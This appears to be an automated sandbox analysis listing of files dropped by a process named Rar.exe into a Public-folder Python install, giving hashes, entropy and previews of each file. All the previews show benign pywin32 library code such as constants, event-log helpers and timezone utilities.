Preview:	# Generated by h2py from commdlg.h (plus modifications 4jan98).WINVER = 1280.WM_USER = 1024.PY_0U = 0.OFN_READONLY = 1.OFN_OVERWRITEPROMPT = 2.OFN_HIDEREADONLY = 4.OFN_NOCHANGEDIR = 8.OFN_SHOWHELP = 16.OFN_ENABLEHOOK = 32.OFN_ENABLETEMPLATE = 64.OFN_ENABLETEMPLATEHANDLE = 128.OFN_NOVALIDATE = 256.OFN_ALLOWMULTISELECT = 512.OFN_EXTENSIONDIFFERENT = 1024.OFN_PATHMUSTEXIST = 2048.OFN_FILEMUSTEXIST = 4096.OFN_CREATEPROMPT = 8192.OFN_SHAREAWARE = 16384.OFN_NOREADONLYRETURN = 32768.OFN_NOTESTFILECREATE = 65536.OFN_NONETWORKBUTTON = 131072.OFN_NOLONGNAMES = 262144.OFN_EXPLORER = 524288 # new look commdlg.OFN_NODEREFERENCELINKS = 1048576.OFN_LONGNAMES = 2097152 # force long names for 3.x modules.OFN_ENABLEINCLUDENOTIFY = 4194304 # send include message to callback.OFN_ENABLESIZING = 8388608.OFN_DONTADDTORECENT = 33554432.OFN_FORCESHOWHIDDEN = 268435456 # Show All files including System and hidden files.OFN_EX_NOPLACESBAR = 1.OFN_SHAREFALLTHROUGH = 2.OFN_SHARENOWARN = 1.OFN_SHAREWARN = 0.CDN

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32cryptcon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	72494
Entropy (8bit):	5.132765035748773
Encrypted:	false
SSDEEP:	768:GUR6nCUZch1pYy64OZWA+PrZ6rBn3CDx5vF9hNJx4GIGZKngFLf0nLVNaRB56oBp:/3YqDMrBn3Ctv4A
MD5:	DCC36C5E07BA223144EDC9DA143C5631
SHA1:	06CA43F7B6F208F32E1B9A7F0D97785A65FE333C
SHA-256:	4E3B2ACAE1B0ACE6DBAFB5ADE99048879F75275423063247BE25FE4749D23EAD
SHA-512:	CBEBE171A15DA44AF86F8EA2CBED90B5614928EA1136EB34030AAADBA2A399C36445FFACD8B3CF6A8A2CB41E923C26330303F0E29F1D4BF431562E3C89559C70
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from WinCrypt.h.def GET_ALG_CLASS(x):. return x & (7 << 13)...def GET_ALG_TYPE(x):. return x & (15 << 9)...def GET_ALG_SID(x):. return x & (511)...ALG_CLASS_ANY = 0.ALG_CLASS_SIGNATURE = 1 << 13.ALG_CLASS_MSG_ENCRYPT = 2 << 13.ALG_CLASS_DATA_ENCRYPT = 3 << 13.ALG_CLASS_HASH = 4 << 13.ALG_CLASS_KEY_EXCHANGE = 5 << 13.ALG_CLASS_ALL = 7 << 13.ALG_TYPE_ANY = 0.ALG_TYPE_DSS = 1 << 9.ALG_TYPE_RSA = 2 << 9.ALG_TYPE_BLOCK = 3 << 9.ALG_TYPE_STREAM = 4 << 9.ALG_TYPE_DH = 5 << 9.ALG_TYPE_SECURECHANNEL = 6 << 9.ALG_SID_ANY = 0.ALG_SID_RSA_ANY = 0.ALG_SID_RSA_PKCS = 1.ALG_SID_RSA_MSATWORK = 2.ALG_SID_RSA_ENTRUST = 3.ALG_SID_RSA_PGP = 4.ALG_SID_DSS_ANY = 0.ALG_SID_DSS_PKCS = 1.ALG_SID_DSS_DMS = 2.ALG_SID_DES = 1.ALG_SID_3DES = 3.ALG_SID_DESX = 4.ALG_SID_IDEA = 5.ALG_SID_CAST = 6.ALG_SID_SAFERSK64 = 7.ALG_SID_SAFERSK128 = 8.ALG_SID_3DES_112 = 9.ALG_SID_CYLINK_MEK = 12.ALG_SID_RC5 = 13.ALG_SID_AES_128 = 14.ALG_SID_AES_192 = 15.ALG_SID_AES_256 = 16.ALG_SID_AES = 17.ALG_SID_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32evtlogutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7612
Entropy (8bit):	4.617430807608831
Encrypted:	false
SSDEEP:	192:xjfuaURPBUS3onZz6vxVjomyWdLKHUoUNeSm/oGLoFXkPa1mPeeSm6C:xjARPqS3onZz6JVjomLdeHZUYP3Loa+u
MD5:	4056059DA5B13E78304894A5DEC5A3EF
SHA1:	7223224E6D80F2265E531976843061A344D0202A
SHA-256:	92803137353DA3AB0554FF8980F532BDFD994718E0C76BBEBE1DDA72772ACFCC
SHA-512:	1148427CDC915EAD9F942A0DCFCFE47BFF784110630CEB202E9F43C0A787282FF926A434D1229C8837B847A4E604DF6A7F09708B1D28C1248889453AD28D8781
Malicious:	false
Reputation:	low
Preview:	"""Event Log Utilities - helper for win32evtlog.pyd."""..import win32api.import win32con.import win32evtlog.import winerror..error = win32api.error # The error the evtlog module raises...langid = win32api.MAKELANGID(win32con.LANG_NEUTRAL, win32con.SUBLANG_NEUTRAL)...def AddSourceToRegistry(. appName,. msgDLL=None,. eventLogType="Application",. eventLogFlags=None,. categoryDLL=None,. categoryCount=0,.):. """Add a source of messages to the event log... Allows Python program to register a custom source of messages in the. registry. You must also provide the DLL name that has the message table, so the. full message text appears in the event log... Note that the win32evtlog.pyd file has a number of string entries with just "%1". built in, so many Python programs can simply use this DLL. Disadvantages are that. you do not get language translation, and the full text is stored in the event log,. blowing the size of the log up.. """.. # When an

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32gui_struct.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	30127
Entropy (8bit):	4.825689367996127
Encrypted:	false
SSDEEP:	768:bECgvkVU6pyZ3N9UmZxqoMUHyMSrU4AGvoDwOSdV9aaZDgKh:bEdAwZ375Zux6mdIKh
MD5:	B07124FDD02BB98B79FA59067C88927E
SHA1:	7AE2C2F6EFE5CE004C10B993F2DEAD988DDAED9A
SHA-256:	EBE1F5BC059EA1B530E701EA649EF8644E09785B72AB1866DF6977C8C0D7A1B4
SHA-512:	9798EE222E0E5D98DAFDB4A103C91D6B0AB98D6BE75EBA9B945FD663E9FC0036AB6C3F62630ACED21B168C548D1DDDD3DBA024B4302DB8B97891F450C19B0CBA
Malicious:	false
Reputation:	low
Preview:	# This is a work in progress - see Demos/win32gui_menu.py..# win32gui_struct.py - helpers for working with various win32gui structures..# As win32gui is "light-weight", it does not define objects for all possible.# win32 structures - in general, "buffer" objects are passed around - it is.# the callers responsibility to pack the buffer in the correct format..#.# This module defines some helpers for the commonly used structures..#.# In general, each structure has 3 functions:.#.# buffer, extras = PackSTRUCTURE(items, ...).# item, ... = UnpackSTRUCTURE(buffer).# buffer, extras = EmtpySTRUCTURE(...).#.# 'extras' is always items that must be held along with the buffer, as the.# buffer refers to these object's memory..# For structures that support a 'mask', this mask is hidden from the user - if.# 'None' is passed, the mask flag will not be set, or on return, None will.# be returned for the value if the mask is not set..#.# NOTE: I considered making these structures look like real classes, a

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32inetcon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	43217
Entropy (8bit):	4.6681753612382915
Encrypted:	false
SSDEEP:	768:yQbVsdBQqM8dX/A8G3gu0CIHq4Wo5MGJ0hii1/dK2iy0rM:yQbqtX/A8Gwu0CIHq4Wo5MGJ0H0rM
MD5:	3E80C82D1405D405BE8010FA6040C732
SHA1:	F34649F7F1998CC0E88D73615DC97D3ED8B26EFA
SHA-256:	141EE8BBE50251222119936B059936FCA0108A8F53F25D8C8D76172A73DB688F
SHA-512:	7994A0F197AD1B6308B34AAACAAB612D24B89A5CA50D0E9B9043F5DB8C07C29BFA1D85735AEA573B8879C8F99C286B328DA277AFE590EB5539994FA9B0BA101B
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from \mssdk\include\WinInet.h..INTERNET_INVALID_PORT_NUMBER = 0.INTERNET_DEFAULT_PORT = 0.INTERNET_DEFAULT_FTP_PORT = 21.INTERNET_DEFAULT_GOPHER_PORT = 70.INTERNET_DEFAULT_HTTP_PORT = 80.INTERNET_DEFAULT_HTTPS_PORT = 443.INTERNET_DEFAULT_SOCKS_PORT = 1080.INTERNET_MAX_HOST_NAME_LENGTH = 256.INTERNET_MAX_USER_NAME_LENGTH = 128.INTERNET_MAX_PASSWORD_LENGTH = 128.INTERNET_MAX_PORT_NUMBER_LENGTH = 5.INTERNET_MAX_PORT_NUMBER_VALUE = 65535.INTERNET_MAX_PATH_LENGTH = 2048.INTERNET_MAX_SCHEME_LENGTH = 32.INTERNET_KEEP_ALIVE_ENABLED = 1.INTERNET_KEEP_ALIVE_DISABLED = 0.INTERNET_REQFLAG_FROM_CACHE = 0x00000001.INTERNET_REQFLAG_ASYNC = 0x00000002.INTERNET_REQFLAG_VIA_PROXY = 0x00000004.INTERNET_REQFLAG_NO_HEADERS = 0x00000008.INTERNET_REQFLAG_PASSIVE = 0x00000010.INTERNET_REQFLAG_CACHE_WRITE_DISABLED = 0x00000040.INTERNET_REQFLAG_NET_TIMEOUT = 0x00000080.INTERNET_FLAG_RELOAD = -2147483648.INTERNET_FLAG_RAW_DATA = 0x40000000.INTERNET_FLAG_EXISTING_CONNECT = 0x20000000.INTERNET_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32netcon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18532
Entropy (8bit):	4.901387880502849
Encrypted:	false
SSDEEP:	384:XFerFC+a4nQVCUc66U5ICst7fPbeK/EZzQ8SLT9Bc7rzrLTgH4k0:ccCUc66U5ICstT/EpZ7v3L
MD5:	270657C418E28DF9E73D1696C20FA02D
SHA1:	3CF6B740CEF32D322F474FC2F0CF2B90031531B2
SHA-256:	7DC59BBF74413E8951D199A9DE1B7DDAFE027FB1244C813F2DBD3DF3841AE80E
SHA-512:	2AA93F6E05ABBA165CFD7F72E8ADC5DC0C7FFD7FD3C5AC8F762E5D6C2F40FA619469A9757185163208B7594869FC7D2755026D8AECE5AFCBB6BAD4F4C1A746E0
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from lmaccess.h..# Included from lmcons.h.CNLEN = 15.LM20_CNLEN = 15.DNLEN = CNLEN.LM20_DNLEN = LM20_CNLEN.UNCLEN = CNLEN + 2.LM20_UNCLEN = LM20_CNLEN + 2.NNLEN = 80.LM20_NNLEN = 12.RMLEN = UNCLEN + 1 + NNLEN.LM20_RMLEN = LM20_UNCLEN + 1 + LM20_NNLEN.SNLEN = 80.LM20_SNLEN = 15.STXTLEN = 256.LM20_STXTLEN = 63.PATHLEN = 256.LM20_PATHLEN = 256.DEVLEN = 80.LM20_DEVLEN = 8.EVLEN = 16.UNLEN = 256.LM20_UNLEN = 20.GNLEN = UNLEN.LM20_GNLEN = LM20_UNLEN.PWLEN = 256.LM20_PWLEN = 14.SHPWLEN = 8.CLTYPE_LEN = 12.MAXCOMMENTSZ = 256.LM20_MAXCOMMENTSZ = 48.QNLEN = NNLEN.LM20_QNLEN = LM20_NNLEN.ALERTSZ = 128.NETBIOS_NAME_LEN = 16.CRYPT_KEY_LEN = 7.CRYPT_TXT_LEN = 8.ENCRYPTED_PWLEN = 16.SESSION_PWLEN = 24.SESSION_CRYPT_KLEN = 21.PARMNUM_ALL = 0.PARM_ERROR_NONE = 0.PARMNUM_BASE_INFOLEVEL = 1000.NULL = 0.PLATFORM_ID_DOS = 300.PLATFORM_ID_OS2 = 400.PLATFORM_ID_NT = 500.PLATFORM_ID_OSF = 600.PLATFORM_ID_VMS = 700.MAX_LANMAN_MESSAGE_ID = 5799.UF_SCRIPT = 1.UF_ACCOUNTDISABLE = 2.UF_HOMEDIR_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32pdhquery.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	23345
Entropy (8bit):	4.411538185872905
Encrypted:	false
SSDEEP:	384:+FzU1rmtmzoAVnZj1lkYZwErcrxEJ4zU4CrML/nZj7mnRJMhA/NL5YTYA5x+W:iz0mozoAFZ+rxC444Cr8/Zg7BNL5YJ1
MD5:	BF0D2114EDDEEBD1CE68A9EAE89B816F
SHA1:	E1A693DCA326553D9C721EF87B989EC2F7F03855
SHA-256:	B0003F4A62C0423ED5FCE784CC2DAFD46D4326FF3779C38CC6B41514785DAAA2
SHA-512:	A1898D94EA296110A1CF036863F3E0DF30C8570466ACDC32058FE20A6DD0091ECE254B6FE9CB290364564A5AF263DA7BF79061285AABA8D5A32728D0C8DC4BE3
Malicious:	false
Reputation:	low
Preview:	""".Performance Data Helper (PDH) Query Classes..Wrapper classes for end-users and high-level access to the PDH query.mechanisms. PDH is a win32-specific mechanism for accessing the.performance data made available by the system. The Python for Windows.PDH module does not implement the "Registry" interface, implementing.the more straightforward Query-based mechanism...The basic idea of a PDH Query is an object which can query the system.about the status of any number of "counters." The counters are paths.to a particular piece of performance data. For instance, the path .'\\Memory\\Available Bytes' describes just about exactly what it says.it does, the amount of free memory on the default computer expressed .in Bytes. These paths can be considerably more complex than this, .but part of the point of this wrapper module is to hide that.complexity from the end-user/programmer...EXAMPLE: A more complex Path..'\\\\RAISTLIN\\PhysicalDisk(_Total)\\Avg. Disk Bytes/Read'..Raistlin --> Comput

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32pdhutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7572
Entropy (8bit):	4.760002873265964
Encrypted:	false
SSDEEP:	192:rzrV6tcGJwM6z1h5q6wq+zoDz7iHEQER6qkYdWXxQeio:rzOwv9qICqbox
MD5:	8AD62CBBD2071246ABA788230750686B
SHA1:	23BBB6B4B02A5119B2B076D0C79852F54F264A79
SHA-256:	306381F35E30A3864D0C8B7CE4A643DB6459B46A4B2ACDBDDF3F51F97236F280
SHA-512:	F3083469BCD5C3A05FB25F4D313DD9C9652FC7929AFC27E4C0CB7AD55FB1A8EB314C60300153FA3FBD1FBE3A37B4826B0FF68224F8CA5DD26BC1FBA7D966E2E5
Malicious:	false
Reputation:	low
Preview:	"""Utilities for the win32 Performance Data Helper module..Example:. To get a single bit of data:. >>> import win32pdhutil. >>> win32pdhutil.GetPerformanceAttributes("Memory", "Available Bytes"). 6053888. >>> win32pdhutil.FindPerformanceAttributesByName("python", counter="Virtual Bytes"). [22278144].. First example returns data which is not associated with any specific instance... The second example reads data for a specific instance - hence the list return -. it would return one result for each instance of Python running... In general, it can be tricky finding exactly the "name" of the data you wish to query.. Although you can use <om win32pdh.EnumObjectItems>(None,None,(eg)"Memory", -1) to do this,. the easiest way is often to simply use PerfMon to find out the names.."""..import time..import win32pdh..error = win32pdh.error..# Handle some localization issues..# see http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q287/1/5

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32rcparser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21621
Entropy (8bit):	4.345741275259594
Encrypted:	false
SSDEEP:	384:14EBSW45wnsBm90TycgCgHv+gDaFWz08oQdcqlsOaCZUCrBX0+ODX5UZTQdNH6kF:14EBkbg0T1gCgHk6cqqOaeUCJZ0bH6kF
MD5:	6E9D68C5DA50B72139D96FF891CD4721
SHA1:	D062B14C6573976B48B9EE109FE1E9E25D0B49F1
SHA-256:	0800FE2913F79F7FD01B4E6ECC35890AE1E790C3B3BB822DAF5E683D783A3D25
SHA-512:	34E8525684978447423BA9E40253F1603D846E657DD4F27707BA48C7A56AAEEC0ABB9E49E9948C94EBEE7437C371E10FF8354F00C2C2E2A4B9B2BB34200EDD51
Malicious:	false
Reputation:	low
Preview:	# Windows dialog .RC file parser, by Adam Walker...# This module was adapted from the spambayes project, and is Copyright.# 2003/2004 The Python Software Foundation and is covered by the Python.# Software Foundation license..""".This is a parser for Windows .rc files, which are text files which define.dialogs and other Windows UI resources..""".__author__ = "Adam Walker".__version__ = "0.11"..import os.import pprint.import shlex.import stat.import sys..import commctrl.import win32con.._controlMap = {. "DEFPUSHBUTTON": 0x80,. "PUSHBUTTON": 0x80,. "Button": 0x80,. "GROUPBOX": 0x80,. "Static": 0x82,. "CTEXT": 0x82,. "RTEXT": 0x82,. "LTEXT": 0x82,. "LISTBOX": 0x83,. "SCROLLBAR": 0x84,. "COMBOBOX": 0x85,. "EDITTEXT": 0x81,. "ICON": 0x82,. "RICHEDIT": "RichEdit20A",.}..# These are "default styles" for certain controls - ie, Visual Studio assumes.# the styles will be applied, and emits a "NOT {STYLE_NAME}" if it is to be.# disabled. These defaults ha

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32serviceutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	37862
Entropy (8bit):	4.614779913776034
Encrypted:	false
SSDEEP:	768:AO8FXlkGUR9NrtkfDzwVfA4wLI9w+M8M/ZwX6x+czhipBbfwT9aFFep:AO6bI9NrQI9VMn/ZwX6x+czMpBbfi
MD5:	A2763C3261E20DD075A58806FC70F5D6
SHA1:	EAA742D5CF6A52C4FF73FE918576BC833B5773F4
SHA-256:	5AEC1FB03072ADA28FB7E6A481BAB681EF86D6A8B5655D42EC2025480D192629
SHA-512:	4C721D6130027E5EBE64A8DADA7694B3351C43468DD14401290073D3B28FBA0E4538FD8BE94C9A92593AD32E47E995BB642AEE4D28019EDC1D4C81ADEEAF04AA
Malicious:	false
Reputation:	low
Preview:	# General purpose service utilities, both for standard Python scripts,.# and for for Python programs which run as services....#.# Note that most utility functions here will raise win32api.error's.# (which is win32service.error, pywintypes.error, etc).# when things go wrong - eg, not enough permissions to hit the.# registry etc...import importlib.import os.import sys.import warnings..import pywintypes.import win32api.import win32con.import win32service.import winerror.._d = "_d" if "_d.pyd" in importlib.machinery.EXTENSION_SUFFIXES else "".error = RuntimeError...# Returns the full path to an executable for hosting a Python service - typically.# 'pythonservice.exe'.# * If you pass a param and it exists as a file, you'll get the abs path back.# * Otherwise we'll use the param instead of 'pythonservice.exe', and we will.# look for it..def LocatePythonServiceExe(exe=None):. if not exe and hasattr(sys, "frozen"):. # If py2exe etc calls this with no exe, default is current exe,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32timezone.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	34707
Entropy (8bit):	4.807361610549798
Encrypted:	false
SSDEEP:	768:tPJIPrdvdG2k1yjOW8/S8qwAKUQM/pSfWk9D:tPJIBk15W8/SzaWk9D
MD5:	718FFB8E2DE16CC50F85AE5A97357C1E
SHA1:	0C525852741BB3C79217BB8BE74B70BF961BA6CE
SHA-256:	0B841E5261A6631A779AADC686380CD950687BCFCA5DEBB3811F1239B0D46215
SHA-512:	0649B8EAF331CD2A8E126614CF2C3F4C19659E0E18710AB945CD118D257F11FAF10745CACC477CA684576D27FB32D6ABE850645483E970BDA9A87ABFF3BA968B
Malicious:	false
Reputation:	low
Preview:	# -- coding: UTF-8 --..""".win32timezone:. Module for handling datetime.tzinfo time zones using the windows.registry for time zone information. The time zone names are dependent.on the registry entries defined by the operating system... This module may be tested using the doctest module... Written by Jason R. Coombs (jaraco@jaraco.com).. Copyright . 2003-2012.. All Rights Reserved... This module is licenced for use in Mark Hammond's pywin32.library under the same terms as the pywin32 library... To use this time zone module with the datetime module, simply pass.the TimeZoneInfo object to the datetime constructor. For example,..>>> import win32timezone, datetime.>>> assert 'Mountain Standard Time' in win32timezone.TimeZoneInfo.get_sorted_time_zone_names().>>> MST = win32timezone.TimeZoneInfo('Mountain Standard Time').>>> now = datetime.datetime.now(MST).. The now object is now a time-zone aware object, and daylight savings-.aware methods may be called on it..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32traceutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1584
Entropy (8bit):	4.654992084520462
Encrypted:	false
SSDEEP:	48:aNWT3mYj2PxhrzR5jhWEhEJA755kzfs8R6tTw6mrHcBkAV6vbdw:oWbUh3R55Eqk1CTw6pXVAy
MD5:	BDFB78DE5F5D6078A8BD64C4F657E8C7
SHA1:	866AA96F01D696B9C372CD553DD450D757675E6B
SHA-256:	0F10F3808D3A2A2913D6AD0F2FE7533CE0FA97C9DD9B076ECDA74746D3B14A61
SHA-512:	B4E95B9891C3A466A1F06587C850AE26F4E15F4FBA238AB384217F239AAFD4F6E628B120343271C794B8E15EAE0E90864ADE9540DB0E82CA3176BA2B12F78F4E
Malicious:	false
Reputation:	low
Preview:	# This is a helper for the win32trace module..# If imported from a normal Python program, it sets up sys.stdout and sys.stderr.# so output goes to the collector...# If run from the command line, it creates a collector loop...# Eg:.# C:>start win32traceutil.py (or python.exe win32traceutil.py).# will start a process with a (pretty much) blank screen..#.# then, switch to a DOS prompt, and type:.# C:>python.exe.# Python 1.4 etc....# >>> import win32traceutil.# Redirecting output to win32trace remote collector.# >>> print "Hello".# >>>.# And the output will appear in the first collector process...# Note - the client or the collector can be started first..# There is a 0x20000 byte buffer. If this gets full, it is reset, and new.# output appended from the start...import win32trace...def RunAsCollector():. import sys.. try:. import win32api.. win32api.SetConsoleTitle("Python Trace Collector"). except:. pass # Oh well!. win32trace.InitRead(). print("Collec

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32verstamp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7181
Entropy (8bit):	4.8562430886724055
Encrypted:	false
SSDEEP:	192:2iXBeK46B+reiXzazgvCzzLGz/cqXsvAzSKSi+0NYBQL2wTekW6FRJVt6fgvokMH:2iXB3Lzw9WMRJ9Q3
MD5:	7388BE0EC0F22D309FD05084BEA46732
SHA1:	C1344C0077A437F903090F9ACEFD4D023490F2E6
SHA-256:	59028FB43A41D5F1A37425AA91ECE10D9A3336494E9FC12A85456213EC157524
SHA-512:	542855F86F989D8DC7EA2F9F5B56BB2D2DC9E137B14AFC79387AA7B16CDA7C213FBBDE125E1C2F81FFCDBCCCCD19DD009DB3D6F0D9F8C531CD5EF32E5249CDD9
Malicious:	false
Reputation:	low
Preview:	""" Stamp a Win32 binary with version information.."""..import glob.import optparse.import os.import struct.import sys..from win32api import BeginUpdateResource, EndUpdateResource, UpdateResource..VS_FFI_SIGNATURE = -17890115 # 0xFEEF04BD.VS_FFI_STRUCVERSION = 0x00010000.VS_FFI_FILEFLAGSMASK = 0x0000003F.VOS_NT_WINDOWS32 = 0x00040004..null_byte = "\0".encode("ascii") # str in py2k, bytes in py3k...#.# Set VS_FF_PRERELEASE and DEBUG if Debug.#.def file_flags(debug):. if debug:. return 3 # VS_FF_DEBUG \| VS_FF_PRERELEASE. return 0...def file_type(is_dll):. if is_dll:. return 2 # VFT_DLL. return 1 # VFT_APP...def VS_FIXEDFILEINFO(maj, min, sub, build, debug=0, is_dll=1):. return struct.pack(. "lllllllllllll",. VS_FFI_SIGNATURE, # dwSignature. VS_FFI_STRUCVERSION, # dwStrucVersion. (maj << 16) \| min, # dwFileVersionMS. (sub << 16) \| build, # dwFileVersionLS. (maj << 16) \| min, # dwProductVersionMS. (sub

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\winerror.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	101476
Entropy (8bit):	4.77819887256081
Encrypted:	false
SSDEEP:	768:4t1wPaKFhrJ8Z4URAd4X918GSpoJVIgF4QNAOeETca2AU/bZVQOtdIiFns00yP8X:o0P7Y9uNpcVIgF4KRq9FwO8ELE0g1OC
MD5:	3E6BCC747E8DBB2605E4F71B359F574A
SHA1:	00FCA4E9E1878BC43471E61D37829FA8B1B7E419
SHA-256:	BDEFDD1C793B377C8712924EC2E9DC1DD36CF4D0231C42A0754F4800C4C33CE4
SHA-512:	D4AB8EE26C86C517118C58542B559233B43C68E3860580B65662BC403FD2048827B67038DA536F49EDC5A09880988914A6EA6B7EB50509F74278FA072173842B
Malicious:	false
Reputation:	low
Preview:	"""Error related constants for win32..Generated by h2py from winerror.h.""".# Few extras added manually....TRUST_E_PROVIDER_UNKNOWN = -2146762751.TRUST_E_ACTION_UNKNOWN = -2146762750.TRUST_E_SUBJECT_FORM_UNKNOWN = -2146762749.TRUST_E_SUBJECT_NOT_TRUSTED = -2146762748.# up to here.....FACILITY_WINRM = 51.FACILITY_WINDOWSUPDATE = 36.FACILITY_WINDOWS_DEFENDER = 80.FACILITY_WINDOWS_CE = 24.FACILITY_WINDOWS = 8.FACILITY_URT = 19.FACILITY_UMI = 22.FACILITY_TPM_SOFTWARE = 41.FACILITY_TPM_SERVICES = 40.FACILITY_SXS = 23.FACILITY_STORAGE = 3.FACILITY_STATE_MANAGEMENT = 34.FACILITY_SSPI = 9.FACILITY_SCARD = 16.FACILITY_SHELL = 39.FACILITY_SETUPAPI = 15.FACILITY_SECURITY = 9.FACILITY_RPC = 1.FACILITY_PLA = 48.FACILITY_WIN32 = 7.FACILITY_CONTROL = 10.FACILITY_NULL = 0.FACILITY_NDIS = 52.FACILITY_METADIRECTORY = 35.FACILITY_MSMQ = 14.FACILITY_MEDIASERVER = 13.FACILITY_INTERNET = 12.FACILITY_ITF = 4.FACILITY_USERMODE_HYPERVISOR = 53.FACILITY_HTTP = 25.FACILITY_GRAPHICS = 38.FACILITY_FWP = 50.FACILIT

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\winioctlcon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	35375
Entropy (8bit):	4.947059805776436
Encrypted:	false
SSDEEP:	384:q3w3vnh68AVm2oVvU7O/0iFvQW3mSnvmlqqoKzl306El/Bs:qIvn5GOYiFj0qyu6Ec
MD5:	3DF6D6E817826DB59BC39A28767FBF17
SHA1:	C4A306CFBDE9C4A7AA9D6EC31A7F5DF460AF3712
SHA-256:	96315AD778ABB36647DFA50E972327BF3CE302E406BA82A0BBCB1468F0B0B724
SHA-512:	62AF06B18236700DE5F72170E98C689D66DEBA7DC782C2E3BFBBF39DF3CC2249F14DD5A69D3A1BC68CB27C17A5DE2234BA09EB5F5FA19A77E7DECC736490D3D6
Malicious:	false
Reputation:	low
Preview:	## flags, enums, guids used with DeviceIoControl from WinIoCtl.h..import pywintypes.from ntsecuritycon import FILE_READ_DATA, FILE_WRITE_DATA...def CTL_CODE(DeviceType, Function, Method, Access):. return (DeviceType << 16) \| (Access << 14) \| (Function << 2) \| Method...def DEVICE_TYPE_FROM_CTL_CODE(ctrlCode):. return (ctrlCode & 0xFFFF0000) >> 16...FILE_DEVICE_BEEP = 0x00000001.FILE_DEVICE_CD_ROM = 0x00000002.FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x00000003.FILE_DEVICE_CONTROLLER = 0x00000004.FILE_DEVICE_DATALINK = 0x00000005.FILE_DEVICE_DFS = 0x00000006.FILE_DEVICE_DISK = 0x00000007.FILE_DEVICE_DISK_FILE_SYSTEM = 0x00000008.FILE_DEVICE_FILE_SYSTEM = 0x00000009.FILE_DEVICE_INPORT_PORT = 0x0000000A.FILE_DEVICE_KEYBOARD = 0x0000000B.FILE_DEVICE_MAILSLOT = 0x0000000C.FILE_DEVICE_MIDI_IN = 0x0000000D.FILE_DEVICE_MIDI_OUT = 0x0000000E.FILE_DEVICE_MOUSE = 0x0000000F.FILE_DEVICE_MULTI_UNC_PROVIDER = 0x00000010.FILE_DEVICE_NAMED_PIPE = 0x00000011.FILE_DEVICE_NETWORK = 0x00000012.FILE_DEVICE_NE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\winnt.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	37443
Entropy (8bit):	5.062040837597238
Encrypted:	false
SSDEEP:	384:M1R3blbtAU2MXle367ilbqqHGDyACQINpB1NzGU9z+c1m/XcSe:yoMXl/iRqoGI9z+cMcSe
MD5:	B1462067D46C806885EDDCE722EC69E4
SHA1:	7F604203D100378E7AE54333B44CA4163A527D5E
SHA-256:	F2A893A055E72F1A21474A2D0AF2847874D241DCC6EE2F11F0213CA89F2B3328
SHA-512:	5FA6A9004AA50EDB8081AB33048D03E905DAB785946830F22E0F3472D45728C54B5879F859E4040766CADB784BE5EC89CEF80D4E0F9B59FE21C3CA38494EF81C
Malicious:	false
Reputation:	low
